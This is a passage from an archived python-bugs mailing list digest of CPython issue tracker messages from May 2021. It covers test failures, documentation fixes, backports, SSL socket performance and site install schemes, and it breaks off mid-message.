<1563292175.7.0.185090199306.issue37605@roundup.psfhosted.org> Message-ID: <1620126714.63.0.841151986038.issue37605@roundup.psfhosted.org> Terry J. Reedy added the comment: nntp.rst, line 23, has already been updated to "s = NNTP('news.gmane.io'). But that also occasionally fails to respond. I have not seen any test failures recently, so maybe something else has changes. Should this be closed pending current failures? ---------- versions: +Python 3.11 -Python 2.7, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:14:51 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 11:14:51 +0000 Subject: [issue44025] Match doc: Clarify '_' as a soft keyword In-Reply-To: <1620093878.28.0.805814541074.issue44025@roundup.psfhosted.org> Message-ID: <1620126891.88.0.956597446823.issue44025@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24562 pull_request: https://github.com/python/cpython/pull/25888 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:22:17 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:22:17 +0000 Subject: [issue43001] python3.8.9, python3.9.1 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620127337.41.0.903749091789.issue43001@roundup.psfhosted.org> Change by Alexei S : Added file: https://bugs.python.org/file50007/log_make_test 3.9.2.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:23:19 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:23:19 +0000 Subject: [issue43001] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620127399.71.0.553555387997.issue43001@roundup.psfhosted.org> Change by Alexei S : ---------- title: python3.8.9, python3.9.1 test_embed test_tabnanny failed -> python3.8.9, python3.9.2 test_embed test_tabnanny failed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:36:01 2021 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 04 May 2021 11:36:01 +0000 Subject: [issue43953] InitVar should not be available on a @dataclass-decorated class In-Reply-To: <1619524440.38.0.385093329161.issue43953@roundup.psfhosted.org> Message-ID: <1620128161.2.0.3407291326.issue43953@roundup.psfhosted.org> Eric V. Smith added the comment: I don?t see any way of changing this behavior, so I?m going to close this issue. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:36:57 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 11:36:57 +0000 Subject: [issue44025] Match doc: Clarify '_' as a soft keyword In-Reply-To: <1620093878.28.0.805814541074.issue44025@roundup.psfhosted.org> Message-ID: <1620128217.55.0.232390819115.issue44025@roundup.psfhosted.org> miss-islington added the comment: New changeset ae4f8574993c85f9dc6fe60e6a25d65f688705e6 by Miss Islington (bot) in branch '3.10': bpo-44025: Clarify when '_' is a keyword. (GH-25873) https://github.com/python/cpython/commit/ae4f8574993c85f9dc6fe60e6a25d65f688705e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:38:03 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 11:38:03 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620128283.44.0.804288193907.issue44026@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Pablo, I checked an AttributeError instance and the missing phrase is not present This cannot be included in the AttributeError because of performance reasons. These errors will be thrown naturally all over the place without this meaning that the interpreter will finish so we can only compute these safely on the except hook. We also discarded mutating the attribute error because it can make some stuff crash if the exception happens on a thread and that doesn't imply full program termination. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:39:17 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 11:39:17 +0000 Subject: [issue44026] IDLE doesn't offer "Did you mean?" for AttributeError and NameError In-Reply-To: <1620100153.12.0.0610630675338.issue44026@roundup.psfhosted.org> Message-ID: <1620128357.77.0.979521768768.issue44026@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I don't feel comfortable adding a public API to get the message either in the traceback or the exception, at least for the time being. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:48:05 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Tue, 04 May 2021 11:48:05 +0000 Subject: [issue43742] tcp_echo_client in asyncio streams example does not work. Hangs for ever at reaser.read() In-Reply-To: <1617696453.27.0.575129983051.issue43742@roundup.psfhosted.org> Message-ID: <1620128885.06.0.366580979375.issue43742@roundup.psfhosted.org> Change by Jonathan Schweder : ---------- keywords: +patch pull_requests: +24563 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25889 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:50:43 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:50:43 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1620129043.36.0.113049067084.issue44031@roundup.psfhosted.org> Change by Alexei S : Added file: https://bugs.python.org/file50009/log_make 3.9.2.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:50:28 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:50:28 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed Message-ID: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> New submission from Alexei S : Python 3.9.2 make test == Tests result: FAILURE then FAILURE == 396 tests OK. 2 tests failed: test_embed test_tabnanny 27 tests skipped: test_bz2 test_curses test_dbm_gnu test_dbm_ndbm test_devpoll test_gdb test_idle test_ioctl test_kqueue test_lzma test_msilib test_ossaudiodev test_readline test_smtpnet test_ssl test_startfile test_tcl test_tix test_tk test_ttk_guionly test_ttk_textonly test_turtle test_winconsoleio test_winreg test_winsound test_zipfile64 test_zoneinfo 2 re-run tests: test_embed test_tabnanny Total duration: 10 min 58 sec Tests result: FAILURE then FAILURE make: *** [Makefile:1199: test] Error 2 python 3.8.9 also show compile problems my system: Linux Mint 20.1 Cinnamon (Cinnamon 4.8.6) kernel 5.8.0-48-generic $uname -a Linux home 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux I tried to execute problem code from tabnanny in PyCharm - that's ok from test.support import (captured_stderr, captured_stdout, script_helper, findfile, unlink) def validate_cmd(self, *args, stdout="", stderr="", partial=False): """Common function to assert the behaviour of command line interface.""" _, out, err = script_helper.assert_python_ok('-m', 'tabnanny', *args) # Note: The `splitlines()` will solve the problem of CRLF(\r) added # by OS Windows. out = out.decode('ascii') err = err.decode('ascii') if partial: for std, output in ((stdout, out), (stderr, err)): _output = output.splitlines() for _std in std.splitlines(): with self.subTest(std=_std, output=_output): self.assertIn(_std, _output) else: self.assertListEqual(out.splitlines(), stdout.splitlines()) self.assertListEqual(err.splitlines(), stderr.splitlines()) def test_command_usage(self): path = findfile('~/????????/Python-3.8.9/Lib/test/tabnanny.py') stderr = f"Usage: {path} [-v] file_or_directory ..." self.validate_cmd(stderr=stderr) ---------- components: Tests files: log_configure 3.9.2.log messages: 392880 nosy: asholomitskiy84, terry.reedy, vstinner, wingarmac priority: normal severity: normal status: open title: python3.8.9, python3.9.2 test_embed test_tabnanny failed type: compile error versions: Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50008/log_configure 3.9.2.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:51:01 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:51:01 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1620129061.41.0.691667494049.issue44031@roundup.psfhosted.org> Change by Alexei S : Added file: https://bugs.python.org/file50010/log_make_test 3.9.2.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:52:17 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:52:17 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1620129137.47.0.212876551845.issue44031@roundup.psfhosted.org> Change by Alexei S : Added file: https://bugs.python.org/file50011/log_make_test 3.8.9.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:54:26 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:54:26 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1620129266.85.0.0347218817859.issue44031@roundup.psfhosted.org> Alexei S added the comment: this problem was announced also in 43001 https://bugs.python.org/issue43001?@ok_message=%D0%98%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D1%8B%20%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B%20%D0%B7%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%B8%D0%B5%20%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%B0%20issue%2043001&@template=item ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:54:47 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 11:54:47 +0000 Subject: [issue43001] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1611315338.64.0.350030617212.issue43001@roundup.psfhosted.org> Message-ID: <1620129287.83.0.154259564099.issue43001@roundup.psfhosted.org> Change by Alexei S : ---------- resolution: -> out of date status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:54:59 2021 From: report at bugs.python.org (Safihre) Date: Tue, 04 May 2021 11:54:59 +0000 Subject: [issue37355] SSLSocket.read does a GIL round-trip for every 16KB TLS record In-Reply-To: <1561056169.29.0.814417679233.issue37355@roundup.psfhosted.org> Message-ID: <1620129299.3.0.66869088721.issue37355@roundup.psfhosted.org> Safihre added the comment: Understandable, as the feature freeze was yesterday :) Just like to note that we have a 100.000 or so users (which I know is very little compared to overal number of Python users) of our application that this could really help. We have used a lot of CPU cycles over the past year doing many repeated 'recv(16384)' for SSL-sockets. Thank you! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 07:59:45 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 04 May 2021 11:59:45 +0000 Subject: [issue37355] SSLSocket.read does a GIL round-trip for every 16KB TLS record In-Reply-To: <1561056169.29.0.814417679233.issue37355@roundup.psfhosted.org> Message-ID: <1620129585.58.0.921753369212.issue37355@roundup.psfhosted.org> Christian Heimes added the comment: You could try to convince Pablo. He is the release manager for 3.10. He can grant exceptions. I also included Benjamin, Nathaniel, and Victor in the nosy list. They have a deeper understanding of the network I/O layer than me. I mostly take care of the crypto and X.509 part of the module. ---------- nosy: +benjamin.peterson, njs, pablogsal, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:36:11 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 12:36:11 +0000 Subject: [issue32822] finally block doesn't re-raise exception if return statement exists inside In-Reply-To: <1518387497.4.0.467229070634.issue32822@psf.upfronthosting.co.za> Message-ID: <1620131771.3.0.0206904464023.issue32822@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24564 pull_request: https://github.com/python/cpython/pull/25890 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:41:06 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 12:41:06 +0000 Subject: [issue44014] Fix error in Enum documentation. In-Reply-To: <1620021089.21.0.395770792641.issue44014@roundup.psfhosted.org> Message-ID: <1620132066.32.0.598113477544.issue44014@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24565 pull_request: https://github.com/python/cpython/pull/25891 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:43:47 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 12:43:47 +0000 Subject: [issue44014] Fix error in Enum documentation. In-Reply-To: <1620021089.21.0.395770792641.issue44014@roundup.psfhosted.org> Message-ID: <1620132227.93.0.620027414949.issue44014@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:44:52 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 04 May 2021 12:44:52 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620132292.38.0.472696730018.issue43976@roundup.psfhosted.org> Petr Viktorin added the comment: Sorry for not getting to this sooner, but 5 days is really tight for such a change. With -S/-I, It would be great if sys.path only included packages installed as part of the OS, and not those installed by `sudo pip`. (Or `pip --user`, but that's covered). It seems that with the current patch, pip will install into site-packages and there's no way to disable/change site-packages. Is that the case? ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:46:44 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 12:46:44 +0000 Subject: [issue43075] ReDoS in urllib.request In-Reply-To: <1611994306.46.0.333529770265.issue43075@roundup.psfhosted.org> Message-ID: <1620132404.51.0.159138908716.issue43075@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset ada14995870abddc277addf57dd690a2af04c2da by Miss Islington (bot) in branch '3.7': bpo-43075: Fix ReDoS in urllib AbstractBasicAuthHandler (GH-24391) (#25249) https://github.com/python/cpython/commit/ada14995870abddc277addf57dd690a2af04c2da ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:47:54 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 12:47:54 +0000 Subject: [issue42686] include built-in Math functions in SQLite to 3.35.0 of march 2021 In-Reply-To: <1608391961.58.0.717857253057.issue42686@roundup.psfhosted.org> Message-ID: <1620132474.13.0.982972428098.issue42686@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +24566 pull_request: https://github.com/python/cpython/pull/25892 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:50:35 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 12:50:35 +0000 Subject: [issue32822] finally block doesn't re-raise exception if return statement exists inside In-Reply-To: <1518387497.4.0.467229070634.issue32822@psf.upfronthosting.co.za> Message-ID: <1620132635.52.0.489044727589.issue32822@roundup.psfhosted.org> ?ukasz Langa added the comment: 3.8 is in security fixes mode but I'll happily take this for 3.9. ---------- nosy: +lukasz.langa versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:51:30 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 04 May 2021 12:51:30 +0000 Subject: [issue32822] finally block doesn't re-raise exception if return statement exists inside In-Reply-To: <1518387497.4.0.467229070634.issue32822@psf.upfronthosting.co.za> Message-ID: <1620132690.21.0.120861170303.issue32822@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24567 pull_request: https://github.com/python/cpython/pull/25893 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 08:55:21 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 04 May 2021 12:55:21 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620132921.12.0.908608661107.issue43976@roundup.psfhosted.org> Filipe La?ns added the comment: > My biggest concern is with the bare "import _vendor_config", which I'd prefer to have restricted to a fixed location, rather than being influenced by environment variables and other options. We already have an issue with readline being imported from anywhere it can be found. Oh, I share the same concern! Though users could already mess up Python pretty badly by shadowing/overwriting parts of it, so I didn't thought it would be that big of an issue. Is there a way to achieve this while still allowing us to do everything we want? > Sorry for not getting to this sooner, but 5 days is really tight for such a change. No worries. It was my fault, I should have been more attentive to the Python release timeline. > With -S/-I, It would be great if sys.path only included packages installed as part of the OS, and not those installed by `sudo pip`. (Or `pip --user`, but that's covered). Perhaps we could add an option to enable only vendor site schemes? > It seems that with the current patch, pip will install into site-packages and there's no way to disable/change site-packages. Is that the case? I mean, there is, though not as straightforward as -S/-I. I was planning on using it to build the distro entrypoint scripts, so that they only include the distro packages. $ python -S > site.addsitedir(sysconfig.get_path('purelib', 'vendor')) > site.addsitedir(sysconfig.get_path('platlib', 'vendor')) As I mentioned above, we could add a cli flag to do essentially the same. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:15:44 2021 From: report at bugs.python.org (Ned Batchelder) Date: Tue, 04 May 2021 13:15:44 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620134144.82.0.579293714629.issue43933@roundup.psfhosted.org> Ned Batchelder added the comment: Thanks, tip of pytest works for me. Is this error going to happen for everyone testing with 3.10b1? If so, can we get a release of pytest? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:17:43 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 13:17:43 +0000 Subject: [issue32822] finally block doesn't re-raise exception if return statement exists inside In-Reply-To: <1518387497.4.0.467229070634.issue32822@psf.upfronthosting.co.za> Message-ID: <1620134263.92.0.905182758404.issue32822@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 8655521de8760e8a695bcce92937800c079ea2b2 by Miss Islington (bot) in branch '3.10': bpo-32822: Add finally with return/break/continue to the tutorial (GH-25600) (#25893) https://github.com/python/cpython/commit/8655521de8760e8a695bcce92937800c079ea2b2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:17:24 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 13:17:24 +0000 Subject: [issue32822] finally block doesn't re-raise exception if return statement exists inside In-Reply-To: <1518387497.4.0.467229070634.issue32822@psf.upfronthosting.co.za> Message-ID: <1620134244.84.0.956442638014.issue32822@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 91cb1e20e6a432b8b2c1b5db37b03c84b15384fa by Miss Islington (bot) in branch '3.9': bpo-32822: Add finally with return/break/continue to the tutorial (GH-25600) (#25890) https://github.com/python/cpython/commit/91cb1e20e6a432b8b2c1b5db37b03c84b15384fa ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:18:24 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 13:18:24 +0000 Subject: [issue32822] finally block doesn't re-raise exception if return statement exists inside In-Reply-To: <1518387497.4.0.467229070634.issue32822@psf.upfronthosting.co.za> Message-ID: <1620134304.48.0.17019518975.issue32822@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:21:44 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 13:21:44 +0000 Subject: [issue42686] include built-in Math functions in SQLite to 3.35.0 of march 2021 In-Reply-To: <1608391961.58.0.717857253057.issue42686@roundup.psfhosted.org> Message-ID: <1620134504.95.0.892726869442.issue42686@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 4bb0a815ef2b683af75f43ab20d52eaffe78b436 by Miss Islington (bot) in branch '3.10': bpo-42686: Enable SQLite math functions in Windows build (GH-24053) (#25892) https://github.com/python/cpython/commit/4bb0a815ef2b683af75f43ab20d52eaffe78b436 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:22:39 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 13:22:39 +0000 Subject: [issue42686] include built-in Math functions in SQLite to 3.35.0 of march 2021 In-Reply-To: <1608391961.58.0.717857253057.issue42686@roundup.psfhosted.org> Message-ID: <1620134559.37.0.823423853908.issue42686@roundup.psfhosted.org> ?ukasz Langa added the comment: Merged into 3.10 and 3.11. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:25:06 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 04 May 2021 13:25:06 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620134706.62.0.169188081815.issue42083@roundup.psfhosted.org> Change by Petr Viktorin : ---------- nosy: +petr.viktorin nosy_count: 5.0 -> 6.0 pull_requests: +24568 pull_request: https://github.com/python/cpython/pull/25896 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:25:53 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 04 May 2021 13:25:53 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620134753.35.0.335249752217.issue42083@roundup.psfhosted.org> Petr Viktorin added the comment: Changing PyType_FromSpec* to accept NULL has an issue: extensions built and tested with 3.9.5 would not work with the earlier 3.9s. I'll send a PR to fix just PyStructSequence_NewType. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:37:00 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 04 May 2021 13:37:00 +0000 Subject: [issue38352] In typing docs, note explicit import needed for IO and Pattern/Match In-Reply-To: <1570041077.58.0.399304866649.issue38352@roundup.psfhosted.org> Message-ID: <1620135420.26.0.632053070389.issue38352@roundup.psfhosted.org> Jelle Zijlstra added the comment: @?ukasz thanks for your merging spree! I'm actually not sure this should go into 3.9. Seems potentially dangerous that people upgrading from an earlier 3.9 patch release will now see new names injected into their namespace if they do `from typing import *`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:43:51 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 04 May 2021 13:43:51 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620135831.7.0.513767199237.issue43933@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Is this error going to happen for everyone testing with 3.10b1? 3.10.0b1 includes both of these PRs so people testing the beta should not get affected. That's why I marked this as release blocker. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 09:48:33 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 13:48:33 +0000 Subject: [issue43349] [doc] incorrect tuning(7) manpage link In-Reply-To: <1614583989.29.0.630028464305.issue43349@roundup.psfhosted.org> Message-ID: <1620136113.17.0.984809616944.issue43349@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 4b90c8f17603e7ab4e4568cc8b9d5de4f8099973 by Miss Islington (bot) in branch '3.9': closes bpo-43349: Fix tuning(7) manpage hyperlink. (GH-24680) (#25694) https://github.com/python/cpython/commit/4b90c8f17603e7ab4e4568cc8b9d5de4f8099973 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:01:22 2021 From: report at bugs.python.org (Ned Batchelder) Date: Tue, 04 May 2021 14:01:22 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620136882.32.0.42588176644.issue43933@roundup.psfhosted.org> Ned Batchelder added the comment: The pytest failure still happens with 3.10.0b1 and pytest 6.2.3. I'm asking if pytest can make a release to update. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:04:03 2021 From: report at bugs.python.org (Anilyka Barry) Date: Tue, 04 May 2021 14:04:03 +0000 Subject: [issue27823] Change bare AttributeError messages to be more informative In-Reply-To: <1471796868.81.0.379385981847.issue27823@psf.upfronthosting.co.za> Message-ID: <1620137043.48.0.222645976335.issue27823@roundup.psfhosted.org> Anilyka Barry added the comment: I'd forgotten that I did that. Looking back on it, this is indeed not a good change. Since there hasn't been any traction on in for 5 years, I think it's safe to say it's not something people want. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:07:20 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 04 May 2021 14:07:20 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620137240.87.0.45684693765.issue42083@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset ec18362f6a7fdc02f9f982872fc1006bca31627d by Petr Viktorin in branch '3.9': [3.9] bpo-42083: Allow NULL doc in PyStructSequence_NewType (#25896) https://github.com/python/cpython/commit/ec18362f6a7fdc02f9f982872fc1006bca31627d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:10:01 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 14:10:01 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1620137401.66.0.889321278371.issue43583@roundup.psfhosted.org> Change by Alexei S : Added file: https://bugs.python.org/file50012/log_make_test 3.8.9.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:10:15 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 14:10:15 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1620137415.07.0.421539617647.issue43583@roundup.psfhosted.org> Change by Alexei S : Added file: https://bugs.python.org/file50013/log_make_test 3.9.2.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:11:43 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 04 May 2021 14:11:43 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1620137503.14.0.546858551201.issue43583@roundup.psfhosted.org> Alexei S added the comment: I have opened the same issue https://bugs.python.org/issue44031 ---------- nosy: +asholomitskiy84 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:23:08 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 14:23:08 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620138188.47.0.828622882329.issue42083@roundup.psfhosted.org> Ken Jin added the comment: Steve, thank you for your invaluable investigation. Thanks Petr for a better fix - your issue didn't come to my mind at the time. Since all PRs have landed and the fix should arrive in Python 3.9.6, I am closing this issue. Please don't hesitate to reopen this if anyone feels it needs revisiting. Thanks! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:27:13 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 04 May 2021 14:27:13 +0000 Subject: [issue42067] Type annotation in for-loops In-Reply-To: <1603025846.26.0.322544281802.issue42067@roundup.psfhosted.org> Message-ID: <1620138433.05.0.568198895.issue42067@roundup.psfhosted.org> Ken Jin added the comment: @pablo, may I close this issue as 'not a bug'? I think it looks like a feature request that belongs on https://discuss.python.org/c/ideas/ or https://mail.python.org/mailman3/lists/python-ideas.python.org/ instead. What do you think? ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:40:32 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 May 2021 14:40:32 +0000 Subject: [issue42067] Type annotation in for-loops In-Reply-To: <1603025846.26.0.322544281802.issue42067@roundup.psfhosted.org> Message-ID: <1620139232.88.0.822295439023.issue42067@roundup.psfhosted.org> Mark Shannon added the comment: Definitely one for Python ideas. Quite a good idea though. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 4 10:42:14 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 04 May 2021 14:42:14 +0000 Subject: [issue43054] What does the existence of a struct in a header file imply about the C-API In-Reply-To: <1611832325.97.0.674198865532.issue43054@roundup.psfhosted.org> Message-ID: 